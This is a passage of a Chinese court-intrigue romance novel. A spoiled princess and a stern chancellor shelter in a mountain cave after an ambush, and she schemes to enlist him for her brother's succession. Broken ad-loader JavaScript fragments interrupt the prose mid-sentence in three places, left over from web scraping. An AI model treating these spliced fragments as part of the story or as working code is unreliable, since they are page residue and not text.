她皱眉低头,这才发觉是徐淮止不知何时蹲到了她身前,握住了她的脚踝。
男人并未戴官帽,挽起的发髻用一根木簪固定,许是方才骑过马儿,被风吹下的几缕碎发贴在他的两鬓,有几根不听话的发丝,还在勾缠他细长的羽睫。
都怪她方才想的太过专心,腿上又疼的几乎没了知觉才未发现徐淮止突然间离她这般近。
“你做什么?”
他头也不抬的道:“若殿下还想要这双腿,便听臣的话,别动。”
他拿起包裹着白布的树枝贴在她的腿上,待围上一圈后,又用一条白布将其缠绕起来。
“你不是不管我了吗?”
这话听在徐淮止耳朵里怎么都觉着不对劲。
可好在周芮并未与他故意作对,乖巧的站着,任由他替她包裹伤口,“殿下是公主,臣若还想要这颗脑袋,便不会做出将殿下丢弃之事。”
抬头对上周芮眼中还未来得及收敛的窃喜,徐淮止继续道:“只要殿下答应以后离臣远一些,臣担保殿下平安回京。”
8. 第8章
“还请殿下离臣远一些。”
同样的话,过了两年,再次出现在耳边时,却又有些不同。
甚至一下将周芮拉回了她圣宠最盛之时。
那时她刚及笄不过一年,因着行事乖张出格,那些个酸儒文臣不想着如何治理大周,三天两头的上折子参她,仿佛她听话些,大周便会国运昌隆,反之则衰败灭国,无论京中大小事,都能与她息息相关。
而其中,最义正言辞让父皇管教她的,便是徐淮止。
作为一国之相,父皇谁的话都能不听,可偏偏他的话,不能佯装不知。
龙案上堆砌的奏折中,也唯有徐淮止的奏折,被父皇单独拿出来,递到她面前。
长篇大论下来不外乎一个意思——
公主行事有损皇家颜面,还请陛下多加约束。
父皇向来纵容她,便是提醒她平日里注意些,也不过是将折子给她看,其意便是日后在京城走动时,多加注意言行举止。
她心有郁气,便想瞧瞧这个整日吃饱了撑的徐淮止到底是谁给他的底气与胆量,平白惹她不痛快。
于是上朝那日,她特意早起梳妆,坐着八抬轿辇,去了金銮殿外堵他。
说是堵也不尽然,毕竟她没有带上父皇拨给她的亲兵。
仅仅几个抬轿的下人,应当没有什么威慑之力。
卯时三刻。
穿着官袍的大人们从金銮殿中陆续走出。
金銮殿乃肃穆之地,平日里洒扫的宫女都需步子轻盈,行止缓慢。
除上朝大臣外,无召不得靠近,宫妃轿辇更是一律不能在殿外出现。
但此时此刻,他们却瞧见殿外一丈之处停着一尊轿辇。
以金丝云锻为帘,分由东西南北四个方位垂落,柔软的缎面外还覆着一层西域进贡的鲛纱。
一寸万金的鲛纱在烈日下被风一吹,便如浪花般泛着惹眼的碎光。
有些朝中老臣余光瞧见了,一言不发,只当什么都没看见。
可年轻的臣子刚刚入仕,才见了金銮殿上的肃穆威严,还不曾出宫,又瞧见这般巧夺天工的轿辇,就算有点见识的人,此时也看直了眼。
“大人,您可知那里头坐着的是谁啊?这可是金銮殿外,连皇后娘娘都要走着过来的地方,怎会有宫妃如此大摇大摆的坐在轿辇上。”
四下不知情的臣子纷纷竖起耳朵。
却听老臣冷哼一声,道:“什么宫妃,那位莫说在金銮殿外坐轿辇,便是方才上朝时她闯进来要坐龙椅,陛下也只会睁一只眼闭一只眼的斥责她一句胡闹,除此之外再无责罚。”
年轻臣子惊呼,“她便受宠到这种地步?”
老臣不知是想起了自己日日上折日日被无视的日子,还是方才大殿之上陛下有意无意,让他莫要再盯着公主的警告,眉眼露出一丝失望,叹息一声,“是啊,她怎能受宠到这种地步呢。”
“大人,她到底是谁家的女儿啊?”
众人纷纷好奇猜测,却不料老臣说:“能让陛下这般疼爱的,大周除她之外,还能有谁。”
一直默默聆听的年轻臣子忽然惊呼出声,“难不成是昭、昭和……”
昭和之名,整个大周无人不知无人不晓。
她的事迹,无论好坏,总是令百姓好奇,想要窥探的。
如今的年轻臣子多是这一届春闱后榜上有名,即将下放之人,此时知晓自己平日里好奇的女子就在那轿辇上坐着,一个个都心下难耐,不知是好奇居多还是紧张更甚。
老臣瞧见他们的神色,不由得冷嗤一声,“怎么着,是知晓咱们大周唯一的公主好男色,而正好她又在你们眼前,所以动了歪心思想借着殿下平步青云?”
话落,他一一观察着众人的神色。
只见人群中,只有几人红着脸,不敢与他对视,大部分都还算正经。只是心底到底藏着多少心思,便无人可知了。
就在众人心思各异之时,最后从金銮殿踏出的男人还未走远,便被人拦住了去路。
拦他之人,若是没看错,正是侯在轿辇旁的下人之一。
“徐相留步,殿下有请。”
一瞬间,徐淮止便感受到身后无数的目光向他看来。
顺着下人的视线望去,那张扬精致的轿辇如它的主人一样奢华,令人不适。
周芮等的都快睡着了,才透过模糊的云缎,看见一身量极高的男子向她走来。
“臣,见过殿下。”
大周宰相徐淮止,以他的身份本无需向她行礼,可偏偏他愿意在身份上给她脸面,让她挑不出错来。
“便是你成日无事可干,盯着本宫不放,还闹到了父皇面前?”
隔着云缎,她瞧不清男人的神色,但她想,应当好不到哪里去。
于徐淮止而言,周芮的一句话里,处处都是毛病。
无事可干?盯着不放?闹?
可他知晓这位殿下不过十六,还是个没长大的孩子,是以并未纠正,而是道:“只要殿下严于律己,那些折子自不会再出现在陛下面前。”
“说来说去,你就是看本宫不爽,想要寻本宫麻烦?”
周芮冷笑出声,“本宫做事并未危机到大周政要,就算寻花问柳花的也是父皇给本宫的银子,关你何事!”
她毫不客气的指责并未让男人恼怒,反而一板一眼的告诉她,“陛下的银子,也是百姓纳税而来,殿下奢华无度,做事毫无分寸,本官自有劝谏之责。”
周芮猛地掀开云缎,却只瞧见了男人头上的官帽。
她带着满腔怒火下了轿辇,却在靠近他时,眼睁睁看着他后退一步,仿佛她是什么洪水猛兽,避之不及。
接踵而至的还有将她气走的那句,“还请殿下离臣远一些。”
-
周芮回过神来,看向被包成了粽子的小腿,抿了抿唇。
此人三番两次的不想与她有任何瓜葛,她但凡还有自尊,都应当如他所愿。
可是……
余光瞥见徐淮止起了身,襕衣错落间,露出里面参差不齐的里衣。
那本该完整的衣裳,如今衣摆处缺了一大块,被当成纱布包在了她的腿上。
“殿下,臣的要求于殿下而言,应当不算过分?”
是不过分,靠近一个人很难,离开还不简单吗?
可此一时彼一时。
周芮的目光流连在仍旧发疼的腿上。
她需要有人助太子登基,需要在宁、黎二王的手上活下来,需要……他。
直到此刻,周芮才明白为何赵家偏偏看上他,为何青雉也觉着他能为我所用。
是因为那几根抬手便能拾取的树枝?
因为他一言不发撕下的衣裳?
不,都不是。
是他三番两次想要离她远一些,却仍旧来山上寻她
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
,替她解围。
青雉说的不错,徐相为人高洁,有一颗善心。
他浑身上下哪里都是硬的,唯有那颗心,是软的。
开天辟地头一回,周芮下定决心要利用一个人时,会心生退意。
他除了写一堆破折子告状以外,并未伤害过她,可她却要将这人拉进赵家的麻烦之中,一旦失败,他的下场只会比她更惨。
若徐淮止是什么十恶不赦,与她恩怨颇深的人,她定会毫不犹豫。
可他,不是。
“殿下。”徐淮止蹙眉,在等她的回答。
落在桃花上斑驳细碎的余晖被乌云遮蔽。
冷风徐来,枝头颤动,自盛开之时便俯瞰山间的花儿忽然掉落枝头,随风而下,缓慢的落在徐淮止的肩头。
那是自京城吹来的风。
大雨即将倾盆,琼花自当落下。
徐淮止抬手扫去肩上的花瓣,目不斜视的看着周芮,依旧在等她的回答。
“好啊,不过我也有一个条件。”
见她答应,徐淮止脸色好上许多,“殿下但说无妨。”
周芮道:“我的婢女青雉方才为了救我被宁商榷那疯子追杀,我得找到她,确认她的安危。”
徐淮止颔首,“可以。”
“我的人马就在山中,先去与他们汇合,再商量寻找青雉姑娘的事情,如何?”
周芮摇头,“不行,你现在就让他们去寻人。”
徐淮止知晓她向来行事不过脑,只知发号施令,但想到回京之后便再无干系,这点小事情,也就依了她。
只见徐淮止走到一旁,又撕下一块衣衫来,找了根树枝用火折子点燃,不久后吹灭上面的火光,在布条上写着什么。
几次三番后,他将布条塞进马鞍中,对着马儿耳语几句,一拍马屁股,马儿便飞快的跑走了。
“我已经让人去寻青雉姑娘了,殿下如今可放心了?”
周芮勉强的应了一声,“可是没有马儿,我们怎么回京?”
徐淮止沉默片刻,低头看了一眼她的腿,又抬头瞧了一眼愈渐昏暗,似乎要下雨的天色。
挣扎半晌后,他行至周芮身前,掀开官袍,背对着她,单膝跪下。
周芮微怔,随即道:“这可是你自己要背我的。”
徐淮止差点怒极反笑。
是谁闹着腿疼不骑马,耽搁到现在?
又是谁非要现在去寻人,让他不得已先让马儿回去。
经过这几番波折,他除了背她离开并无旁的选择。
他还做不出眼睁睁看着她将这条腿走废,成为伤残,余生被人笑话的事情。
徐淮止咽下被激怒的火苗,冷脸开口,“殿下上不上来?”
周芮微不可见的翘起嘴角,怕伤着腿,她几乎是直愣愣的扑倒了男人宽阔的背上。
徐淮止察觉到身后的重量,双手绕后,尽量只环着她的腿,不碰不该碰的地方。
他平稳的朝着山下走去,背上的人只是双手轻轻攀在他的肩上,并未有出格的举措。
下山的路,并不好走。
不知过了多久,脖颈忽然被一双柔软的手臂环住,温热的气息伴随着周芮身上独有的栀子香气吹拂在耳畔。
徐淮止脚步猛的停下。
听见那位总是令他头疼的殿下,压着嗓音,小声在他耳旁抱怨道:“徐淮止,我快掉下去了。”
9. 第9章
轻柔的嗓音在唤他名字时,不似先前那般冷漠,反而多了几分无形中的亲昵。
像是在……
撒娇。
周芮感受到身下的人僵硬的如同石头一般,环在她大腿上的手无意识的收紧。
她低头看了一眼自己受伤的腿。
他总不会将她从背上扔下去吧,她想。
见他不作声,周芮又小心的靠近他耳畔,目光所及之处,是他冷玉般的耳垂。
耳廓之处极其敏感,这是风月馆的男子教给他的。
但从前都是她逗弄旁人,没人敢对她动手动脚。
是以她并不知晓那到底是什么感觉。
“徐淮止……”
“殿下。”
他打断了周芮后面的话,冷漠又无情的警告她,“规矩些。”
周芮自然知晓他口说的‘规矩’二字是在提醒她方才离他太近了。
好在,他并未将她丢下。
“可我快掉下去了。”
徐淮止耐着性子,“不会。”
周芮当然知晓不会,可他这般守着规矩,双手只环住她的双腿,令她的身子十分难受。
“你便不能好好背着我吗?”
回应她的,是男人依旧稳健的脚步。
“徐淮止,你好好背着我。”
“徐相,本宫命令你,好好背着本宫!”
话音刚落,这人再次停下,这一回,竟直接将她放了下来。
周芮跌跌撞撞的扶着他站稳,拧起眉宇夹杂着愠怒,那怒气还未彻底释放出来,便对上一双冷沉到极点的眉眼。
他脾性并不好。
这一点,周芮今日一早便见识过了。
男子颀长的身影在几近乌沉的月色中拓下一团阴影,将她笼罩其中,无形的压迫,让周芮有些无所适从。
与早晨的暴怒不同。
此时的徐淮止理智尚存,只是面不改色的盯了她半晌,才低头掸去衣袖上莫须有的灰尘,道:“看来殿下是觉得臣伺候不周,想要自己走回京城。”
他倒是恢复如常,可周芮却郁气难解。
“徐相昨夜碰到的地方还少吗?不过是让你好好背着本宫罢了,你若当真如此守规矩,昨夜怎的不将本宫推开。”
“昨夜本官中药,那药从何处来,殿下是要本官撕下赵家最后的脸面吗?”
以人为饵的美人计算不得什么,但若掺杂进了旁的东西,便是下作。
而这样下作的事情,周芮不以为耻就罢了,还再三提起。
“赵家?”
周芮怔愣片刻,“你是说……”
徐淮止看着她,目光如隼,“怎么,赵家做事之前,什么都没告诉殿下?”
周芮当真不知那药是赵家下的。
可是知晓又能如何,眼下局势,她是能拒绝赵家的做法,还是能以一己之力扶持阿越坐上皇位?
既然都不能,那她便只能做赵家的棋子,听外祖父的吩咐,成为阿越登基路上的冲锋石。
“无论你信不信,我当真不知。”
周芮道:“是,我是想拉拢你,可还不至于沦落到给臣子下药的地步。”
她倔强的望着他,濒临破碎的自尊承载着整个身躯,仿佛随时都会倒下,可又偏偏顽强的站在那儿。
徐淮止与她对视半晌,并未再揪着此事不放,仿若长辈教训不听话的孩子般,叹声道:“殿下既然闹够了,便回京吧。”
天色不知何时已经彻底昏暗。
仅靠着月色,并不足以让他们二人寻到回京的路。
周芮勉强重新回到徐淮止的背上,强忍着身子的酸痛,与他在夜色中穿梭。
晚上的山间虫鸣鸟叫十分惹耳,吹拂来的风也带着特有的泥腥气,四周昏暗,唯有徐淮止手上的火折子能勉强看清前路。
周芮自出生以来,头一回落到这般境地。
又冷又饿又困,腿上有伤,还被一个对她颇有成见,厌她入心的男人背着。
脑袋愈发晕眩,或许等不到回京,她便要饿晕过去了。
不知走了多久,徐淮止肩膀上忽然一沉。
女子散乱的发髻贴在他汗涔涔的脸颊,珠钗陷入软肉,戳出一个浅坑。
“殿下。”
身后并无回应。
“殿下是算准了本官不会将你丢下?”
周芮没有与他计较,有气无力的问:“还有多久,我真的好饿,快饿死了……”
腹部配合的咕咕两声,证明她并未撒谎。
一整日,她就吃了青雉在街上买给她的包子,再未进食,眼下饿的头晕目眩,什么力气都没了。
徐淮止少说走了有半个时辰,可她在这处连京城的灯火都没瞧见,何时才能入城?
徐淮止难得没有再与她作对,“方才路过之处有个山洞,殿下实在没力气,便去那儿歇息片刻吧。”
他口中所说的山洞并不算大,勉强能挤下两个人。
周芮扶着岩壁艰难坐下后,抬头却见徐淮止正拿着火折子要走,她连忙伸手攥紧了他的衣角,“你去哪儿?”
徐淮止低头看了一眼她的手,语气称不上有多好,“山间野兽多,若是没有火堆,殿下是想让臣陪着您一起喂狼吗?”
周芮松开手,“半刻钟,你必须回来。”
在徐淮止抬头看来时,周芮理直气壮道:“你不是说山中有狼。”
他无声的盯了她半晌,随即将手中的火折子递给了她,周芮难得关心一句,“那你呢,你——”
回应她的,是男子离去的颀长背影。
夜里风声大,吹动树梢时总会发出怪异的声响。
周芮一个人坐在狭小的山洞中,双手环膝,死死的捏着火折子,警惕的望着四周。
若不是隐隐能听见徐淮止的脚步声,她早就忍着腿疼逃走了。
以往不论是在宫中还是公主府,都有百八十个下人伺候着,便是入睡,门外也有人守夜,她从来没遇见过这种情形,是以害怕的紧。
“徐淮止?”
月光下,不远处的身影在来回走动,一会儿低头拾起什么,一会儿又抬手折断树枝。
周芮都看见他了,可他偏偏不回应。
“我有些害怕,你能不能陪我说说话?”
她自觉这要求并不过分,可徐淮止却冷声道:“殿下这么大声,是想将狼招来?”
“声音大……会招狼吗?”
周芮犹豫紧张的声音从不远处传来,正在拾起枯枝的徐淮止指尖一顿,‘咔嚓’一声,枯枝断裂,碎屑捏在修长的指骨上,令徐淮止烦躁的蹙起了眉。
也不知是烦有些扎人的碎屑。
还是烦某位不食人间烟火的殿下。
待徐淮止捡了不少枯枝树叶回去后,才瞧清周芮不是装的,她是真的害怕。
少女蜷缩成一团靠在角落,小脸几乎埋了半截在手臂中,只露出一双湿漉漉的眸子觑着他。
见他回来,才猛地松了口气,催着他将火升起。
枯枝易燃,火星子在火堆中噼里啪啦的溅射着,与周芮并肩而坐的徐淮止拿着一根树枝时不时的翻动着火堆。
山洞虽然狭小,可二人都靠着岩壁,连衣衫都不
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
曾触碰到。
周芮侧头看了他一眼。
比起几个时辰前,徐淮止眼下狼狈了不止一星半点。
里衣残缺、官袍脏污、发丝凌乱,唯有那张脸在火光下仍旧熠熠生辉,清隽深邃。
他看上去,似乎很疲惫。
“徐相,你的人会来寻我们吗?”
徐淮止阖眼,脑袋靠着岩壁,轻应一声,“嗯。”
“你这样睡着不难受吗?”
“嗯。”
“不若我把肩膀借你靠靠吧。”
徐淮止猛地睁眼,随即又缓慢阖上,“殿下别忘了答应过臣什么。”
“我这是感谢。”周芮振振有词,“若是你因为我脖子受伤了怎么办,届时我还得照顾你,岂不是更纠缠不清了。”
徐淮止懒得理会她的疯言疯语。
周芮捡起被徐淮止扔在地上的树枝,戳了戳火堆,“原来你之前是在口是心非啊,还说什么让我离你远一点,其实心里巴不得与我纠缠不清吧。”
“本宫知晓本宫天生丽质,你喜欢本宫也无可厚非,既如此,待明日回京你便请旨入我公主府做驸马吧。”
“殿下到底想做什么?”
见徐淮止终于愿意理会她了,周芮牵起嘴角,眉眼弯弯,“自然是想伺候徐相,睡个好觉啊。”
不知是哪个字眼又激怒了他,男人眯起双眸,厉声道:“周芮!你是大周公主,不是青楼花娘。”
他责备严厉的双眸仿佛一把利剑,挑开皮肉,直指周芮体内最薄弱的心脏。
她依旧在笑,“你看,你又生气了,我只是想让你靠着我肩膀,这样好睡一些而已。”
于他而言,公主还是花娘,有区别吗?
他哪个都不要,哪个都不会帮。
“男女有防,你是公主,你的一言一行,都代表着大周颜面,自重二字,你可曾学过?”
如先生般谆谆教诲,他此时的语气不知比先前温和了多少,可听在周芮耳朵里,却犹如钝刀割肉。
她极力压抑,眼尾却还是忍不住溢出一丝嘲讽,“徐相,你现在是在教一个连生死命运都掌控不住的人,如何自爱吗?”
徐淮止看了她许久,眼前好似又出现了赵府的水榭阁楼,那一片的水甘草被养的极好。
睹物思人……
睹物思人。
饶是徐淮止不愿多想,可以周芮偏爱奢华,什么都只要最好的性子,能亲自饲养那随处可见的水甘草,足以证明那些东西在她心中的份量。
但少女心事,不足以让他卷进那样的风波,替她摆平这个天大的麻烦。
“若殿下只想活下来,大可以劝赵家伏低做小,主动让太子禅位,只要在新帝登基前远离京城,往后余生再不踏进京城一步,自可保命。”
周芮惨然一笑,“你若是二王,你会信我,信赵家,信太子吗?”
“不会。”
不等周芮开口,徐淮止又道:“但不是不能。”
周芮知晓他们朝中之人说话向来不说满,是不是她可以理解为:徐淮止愿意帮她活下来。
火星子啪的一声溅在了周芮的衣衫上,留下一点肉眼难见的小洞。
紧接着,火光飞逝,越来越多的火点落到周芮垂下的衣摆上。
原本不可见的洞被未燃尽的火光烧的大了一些,一圈又一圈,直到消失不见,留下斑驳的印记。
你看,只要火烧的够旺,便是再密不透风的衣衫,亦能破开一个缺口。
周芮目光灼灼,眸中闪烁着比火焰还要炙热的光芒,“若我想要的,不止是活命呢。”
10. 第10章
“殿下太贪心了。”
想要活下来,还想要活的风光?
乱世之中,人人都是如此想的,可有几个人做到了。
“贪心吗?”周芮道:“太子乃是大周正统,父皇重病昏迷,命不久矣,扶他即位难道不该是臣子应做的事情吗?”
“在战场上,将军应做的便是如何杀敌,如何得军功,朝堂也不过是另一个战场罢了,殿下想在战场上讲理?未免太过天真了。”
“况且……”徐淮止道:“太子殿下痴傻已久,这样的人,如何当好一个帝王?天下百姓又凭什么认这样的帝王?”
“可他不是天生痴傻的!”每每提及太子痴傻一事,周芮便有些激动,“两年前他还不是这样的,他只是自小身子弱了些,可自他位及太子之后,恪尽职守,连父皇都夸他将来定是明君。”
徐淮止看着周芮泛红的眼眶,“殿下也说了,是两年前。”
“若不是德贵妃陷害,阿樾不会变成如今这样。为什么害人的人活的好好的,她的孩子黎王未来甚至可能成为帝王,而被害的人却要因为痴傻被你们嫌弃?”
周芮强忍泪水,倔强的看着徐淮止,“他也不想的。”
“我和赵家一直在想法子替阿樾解毒,他总会好的,他以后一定会是一个好皇帝的。”
徐淮止沉默不语。
狭窄的地方,一时之间只有火星跳动,枯枝烧焦的味道徐徐蔓延,浓烟滚滚中,那火似乎也快熄灭了。
周芮垂首,手指在泥地上缓慢收紧,指甲刮过凹凸不平的地面,发出细微的沙沙声。
她怎会不知一个健全的帝王对大周而言有多重要。
可那是与她一同出生一同长大的亲弟弟。
但凡阿樾没有中毒痴傻,她不会落到今天这个地步,也不会亲耳听见旁人对他的品头论足。
都是德贵妃的错!
青稚亲眼瞧见她让人给阿樾下的毒,可没有证据,德贵妃抵死不认还反咬她一口,事到如今都没能替阿越除了这个女人。
周芮吸了吸鼻子,把即将凝聚的泪收了回去。
两年过去,曾经都查不出来的证据,如今势力微末,受人桎梏,更不会有。
想要让这些人付出代价,她有且仅有一条路可以走。
看着低头拾取枯枝续火的徐淮止,周芮抿了抿唇,并未再开口。
她,急不得。
-
夜里潮湿,用枯枝升起的火堆燃烧的很快,若无人守着,不多时便会熄灭。
二月春的季节,夜里无火,只会寒凉入体,易感风寒。
周芮没撑住睡了过去。
好在徐淮止只是闭目养神,并未真正睡着。
每过一刻,他便会睁眼添一把火。
暖光驱散了夜里的寒意,再过一个时辰,天便会亮了。
整日的疲倦令徐淮止有些头疼。
修长的指骨捏着眼窝,试图驱散倦意,撑到顺玉来寻。
忽然,肩膀一沉。
搭在眼窝的指尖骤然停顿。
均匀的呼吸在狭窄的山洞中尤其明显,那是靠在他肩头的周芮酣睡时发出的声音。
徐淮止侧头看了一眼,只能瞧见少女散乱的发髻。
紧接着,呼吸声愈加急促,睡梦中的人似乎在喃喃的念叨着什么。
徐淮止蹙眉,微微俯身,试图听清她含糊不清的咬字。
“杀了你,本宫死也要拉你垫背!回去就……杀了你,让你害……阿樾。”
若他所料不差,周芮在梦中应当是见到了德贵妃。
徐淮止抬手,轻柔的将周芮的脑袋拨开,让她靠着另一侧的岩壁。
见她睡梦沉沉,徐淮止再次阖眼,并未将她方才的呓语放在心上。
高处总是能瞧见第一缕熹微的晨光。
金灿洒满山头之时,山间陡峭的斜坡上,正有一帮人马大步流星的赶来。
“都给我仔细找,每一处都不许放过!”
“是!”
凌乱的脚步声唤醒青山,为首的顺玉一夜未睡,做完徐淮止交代的事情后,迟迟没有等到人回来,只好带着一群人前来山中搜寻。
比起旁人,他跟在徐淮止身边好几年,更为了解他的行事作风。
不多时,顺玉便在地上瞧见了一些脚印。
很快,便寻到山洞的位置。
可当他兴高采烈的行至山洞门口,刚发出一个字便被映入眼帘的场景怔住。
狭窄逼仄的山洞中,火堆好似方才熄灭不久,还冒着屡屡青烟。
坐在火堆后的两人相互依偎,少女靠在男人的肩窝,睡的正沉,不知是不是梦中并不安稳,清秀的眉头微蹙,嘟囔了一句后,脑袋又往男人的脖颈处蹭了蹭。
发丝钻进衣襟,铺散黏腻的贴在脖颈上,突如其来的痒意令他蹙眉。
狭长的双眸微微睁开一条细缝,被天光晃住之时,他抬手遮挡,却通过指尖的缝隙,对上山洞外,目瞪口呆的顺玉。
徐淮止瞬间清醒过来。
下意识侧头扫了一眼仍在沉睡的周芮,顿时明白了顺玉这神情因何而来。
“大人,你、你们……”
徐淮止并未理会他,而是沉声道:“殿下。”
被打扰的不悦让周芮不耐的睁开一只眼,入目所见,乃是男子合拢的衣襟,衣襟上不可言说的指印,像是曾被一只满是灰土的手狠狠揪住过。
周芮顿时清醒过来。
她缓慢的坐直身子,面不改色的将鬓发勾至耳后,抬起脏兮兮的小脸,懵懂的问:“我们是要回京了吗?”
顺玉率先回过神来,连忙道:“属下来迟,还请大人、殿下恕罪。”
“青雉如何了?”
“青雉姑娘已经回了赵府,受了些小伤,并无大碍,还请殿下放心。”
周芮颔首,并未再多问。
青雉从前便是赵家培养给阿樾的小侍,明面上是太子的通房丫头,实则也担任着暗卫一职。
若不是宁熵雀那头的人马里有个中高手,她压根不会担心青雉的安危。
眼下知晓她无事,便彻底放下心。
“大人与殿下要不要梳洗一下,待属下将其他人叫过来,再启程回京?”
徐淮止打量了一下周芮的神色,见她听见青雉的消息后并无任何反应,顿时眉眼阴沉的起身,朝外走去。
顺玉连忙跟上,小声询问:“大人,您与殿下这是……”
徐淮止脚步一顿,忽然
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
冷笑出声,看向顺玉,“本官看着,当真如此好骗?”
顺玉不知发生了什么,悻然回头看了一眼周芮,见她目光直直的望着徐淮止的背影,歪着头不知在思索些什么。
不多时,前来寻人的队伍纷纷朝着山洞这处围拢。
他们解下马鞍上挂着的水壶,伺候徐淮止与周芮洗漱。
顺玉接过旁人递来的水壶,壶口倾斜,干净澄澈的水落到徐淮止伸出的手上。
“大人,殿下她又做什么了?”
“你们如何寻到青雉的?”
顺玉道:“昨夜收到大人的书信后,属下便带人在山上寻找,没有多久,就在临近京城的山脚下见到了青雉姑娘。”
话音顿了顿,顺玉面色有些怪异道:“那时青雉姑娘蹲在一棵树上埋伏着,若不是属下表明身份,差点就见不到大人了。”
徐淮止并不意外,继续问:“她的身手与你比,如何?”
顺玉不敢夸大,琢磨半晌也才道:“估摸着,半斤八两吧。”
顺玉的武功虽算不得顶尖,可放在京城也能称得上一流高手。
青雉能做到与他半斤八两,怎能不让徐淮止多想周芮这一举措,压根不是担心青雉的危险,而是满是算计,为了与他相处。
从水甘草到救人,再到她昨夜那些看似剖心的话。
无一不在佐证着他的猜测。
“你觉着周芮此人如何?”
“大人!”顺玉惊呼,察觉自己过于激动后,连忙放低了声音,“殿下就在这儿,背后妄议应当不太好吧?”
徐淮止看了他一眼。
顺玉立马道:“属下觉着殿下年纪轻,贪玩爱闹,虽说娇气傲慢了些,可放在百姓家里,就是一个被宠坏了的姑娘。”
“你可有见过她与那些相好都是怎么相处的?”
“啊?”顺玉犹豫道:“属下只听说殿下的相好很多,都是个顶个的听话,若是惹恼了殿下,她便给些银子将人赶走,或是腻了,也会再不与此人来往。”
“她可有特别倾心之人?”
顺玉摇头,“这个属下便不知道了。”
顺玉小心翼翼询问:“大人怎么突然打听起殿下来了?”
徐淮止深吸一口气,“没什么,去看看她如何了,早些回京吧。”
只有早些回去,他才能早点与此女分开,不会再被她扰乱神思。
周芮是什么性子,他怎会不知。
那些呈上的奏折,并不是他闲下无事胡诌来的。
不说朝中议论,便是他住的西街,都有不少长得好看的年轻男子,曾经做过周芮的入幕之宾。
那些人是如何被周芮赶出府中,又如何与女子一般哭哭啼啼,在家中闹着要上吊的,他都是亲眼所见。
能将人祸害至此,视男子视情爱为玩物,这样的人,怎能不叫人生恼。
许是他的报应所至。
那玩物丧志的公主殿下,竟很早就将主意打到了他身上。
周芮算计他,想要利用他让太子上位是真。
赵穹说的倾慕许久,原先他本以为是计策中的一环,眼下看来……
徐淮止的目光下意识看向不远处皱眉抱怨的周芮。
也是真。
11. 第11章
周芮察觉到一缕驻足在她身上许久的目光。
可当她抬头看去,却又什么都没瞧见。
下人拿着沾过水的绢帕,细细为周芮擦拭脸上的脏污,每一下都带肉眼可见的小心翼翼。
她没有计较那道目光,也不甚在意。
待二人洗漱好后,顺玉牵了一匹马来,恭敬道:“殿下,鸿毛性子温和,您坐着它回京,肯定稳当。”
棕褐色的马儿皮毛顺滑发亮,只有两边的鬓毛颜色过深,天光下隐隐有些乌黑。
“本宫伤了腿,若是一人骑马,摔下去了该如何是好?”
话是殿下对着他说的,可殿下的目光,看向的却是他家大人。
顺玉一时之间,也不知自己该不该回话。
徐淮止牵过下人的马,利落的翻身而上,并未回头,“顺玉,你带着殿下。”
若是一个时辰之前,他或许以为周芮只是娇气了一些。可经过方才,他难免会对周芮此举多加揣测。
徐淮止捏着缰绳,将马儿训好后,忽然听见身后传来顺玉的惊呼,“殿下,不可!”
他下意识心烦,回头看去。
那些冠冕堂皇的词已经涌至喉口,却在看清眼前的场景后,咽了回去。
周芮乖巧的侧身坐在马背上,远远看去,像是歪着头窝在男人的怀里。
她不解道:“什么不可,不是你家大人,让你带着本宫吗?”
“殿下,属下……属下得罪了。”顺玉咬牙。
她不吵不闹,乖乖听从了安排,让误以为她又要闹腾的徐淮止沉默片刻。
察觉到目光的周芮侧头看来,片刻后,又若无其事的移开了眼,仿佛先前拼命往他跟前凑的姑娘另有其人。
徐淮止收回目光,压下心绪,握住缰绳的手轻轻一转,马儿便顺势转身,随着众人一同往京城走去。
靠在顺玉胸前休憩的周芮不动声色的看了一眼前方的背影,提醒道:“你家大人都走了,你还不走吗?”
回应周芮的,是顺玉发泄般的一声,“驾!”
几人回京的路上并不太平。
为了迁就周芮,马匹跑的并不快,与其说是赶路,不如说是踏风。
顺玉带来的人马足足有二十余人,一半在前面开路,一半在后方护送。
顺玉的马儿始终落后徐淮止一截,但因为离的并不远,是以他与周芮的谈话声,尽数传入了徐淮止的耳朵里。
“顺玉,你杀过人吗?”
“属下杀过。”
“那用什么兵器杀人最快?”周芮琢磨了一下,认真道:“最好是救不回来,但又能让对方觉着痛苦的兵器。”
顺玉为难,“……殿下说的,可是毒药?”
周芮摇头,“不要毒药,有毒就有解,我要无解的杀人兵器。”
顺玉下意识看向走在前边的徐淮止,眼神略有些无助。
他不知该如何回,甚至不敢僭越的询问周芮知晓这些是要做什么。
随后周芮又问了他一些有关杀人的消息,因着徐淮止迟迟不曾干预,顺玉只能知不无言言无不尽。
突然,周芮轻笑一声,不吝夸奖,“你这人,还挺有趣。”
“属下不敢当。”顺玉冷汗连连,连心都提到了嗓子眼。
毕竟以周芮在京城的风评,他着实有些害怕。
下山的路总是比上山要快的。
远远瞧见城门时,顺玉一路上提着的心,总算放了下来。
徐淮止让众人停下,转头吩咐顺玉,“你将殿下送回赵府,记住,尽量别让人瞧见了。”
“是。”
徐淮止的吩咐,不知是为了护着她还是迫不及待的想与她分道扬镳。
周芮始终不曾反驳,安静的听从了他的安排。
顺玉扶着周芮从马上下来,想要进城不被发现,自然不能大摇大摆的骑马入城。
他行至最前头取披风兜帽之时,只留下周芮一人站在马身旁。
“多谢徐相一路相护。”
徐淮止低头,看向搭在鸿毛黑鬓上的纤纤玉指,少女背对着她,看不清她眼下的神情,“殿下莫要忘了答应下官的事情。”
“自然不会。”
徐淮止又道:“顺玉年纪尚轻,性子单纯,还请殿下放他一马。”
慢条斯理梳整着马鬓的玉指忽而一顿。
周芮回头看向徐淮止,展颜一笑,“徐相莫不是醋了?”
牵着缰绳的男人居高临下的看向她,那副温润如玉的眉眼里没有半分情意。
周芮与他对视半晌,“徐相放心,本宫眼下能否保住性命都尚未可知,怎会打你身边人的主意。”
在徐淮止蹙眉时,周芮又道:“就算本宫想要牡丹花下死,也该缠着徐相不放才是。”
过于直白的话令徐淮止眸中寒光乍现。
可周芮像是犹然未觉般,道:“本宫很是好奇,到底什么样的女子才能入徐相的眼?”
她似乎真诚的想要知晓。
